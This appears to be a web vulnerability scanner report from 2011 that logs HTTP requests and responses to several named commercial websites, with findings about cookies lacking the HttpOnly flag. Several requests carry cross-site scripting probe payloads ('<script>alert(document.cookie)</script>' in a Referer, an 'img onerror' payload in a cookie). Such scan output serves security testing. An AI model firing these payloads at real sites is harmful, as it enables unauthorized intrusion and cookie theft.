GET / HTTP/1.1 Host: www.aerotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:22:55 GMT X-Powered-By: PHP/5.2.13 Set-Cookie: location=%5B%7B%22ZIP_CODE%22%3A%2275207%22%2C%22STATE_NAME%22%3A%22Texas%22%2C%22CITY_NAME%22%3A%22Dallas%22%7D%5D; expires=Tue, 24-Jan-2012 23:22:56 GMT Connection: close Content-Type: text/html Set-Cookie: TSef43b4=dda16b828fd3667079886639fd1d974f3651df908a5a2b674d3e0c18759e864aee104e3b; Path=/ Content-Length: 58457
<!-- dstolweb05-php5a --><!DOCTYPE html> <html> <head> <title>Aircraft for Sale, find used or new Cessna, Beechcraft at Aero Trader</title> <meta http-equiv="Cache-Control" content="no-cache" /> <m ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /articles/alternate/ HTTP/1.1 Host: www.alistapart.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js/apture.js?siteToken=5rLcDWk HTTP/1.1 Host: www.apture.com Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.0 200 OK Expires: Mon, 24 Jan 2011 21:11:11 GMT Last-Modified: Mon, 24 Jan 2011 21:11:11 GMT Etag: "4ad7d91e6131ca80d32f15ef4593339c" Cache-Control: max-age=0 P3p: CP="NON CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa HISa OUR LEG UNI COM NAV INT" Content-Type: text/javascript Set-Cookie: AC=nbrlsqWMpk; Domain=.apture.com; expires=Sun, 17-Jan-2037 19:14:07 GMT; Path=/ Content-Length: 1604 Date: Mon, 24 Jan 2011 21:11:11 GMT Connection: close
(function(){ var B=window.apture,A=window.apture=B||{}; if(!A.isApp){ A.prefs={};A.referer="http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.atvtraderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:23:56 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Set-Cookie: location=%5B%7B%22ZIP_CODE%22%3A%2275207%22%2C%22STATE_NAME%22%3A%22Texas%22%2C%22CITY_NAME%22%3A%22Dallas%22%7D%5D; expires=Tue, 24-Jan-2012 23:23:56 GMT Connection: close Content-Type: text/html Content-Length: 65145
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /auto-insurance-quotes.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /car-advice.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /car-blog.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /car-dealers.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /car-financing.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /car-incentives.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /car-news.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /car-pictures.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /car-reviews.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/buy/finance/index.cfm/action/Calculator HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/buy/warranty/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/home/help/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/home/help/index.cfm/action/about HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/home/help/index.cfm/action/contact HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/home/help/index.cfm/action/privacy HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/home/help/index.cfm/action/terms HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The following cookie was issued by the application and does not have the HttpOnly flag set:
ID=4%3BABTL;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/home/index.cfm?id=4;ABTL HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/research/Reviews/index.cfm/action/addCtdStep1/reviewDo/Read/ HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/research/article/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/research/article/index.cfm/filters/Auto%20Show HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/research/article/index.cfm/filters/Buying%20Guide HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/research/comparison/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
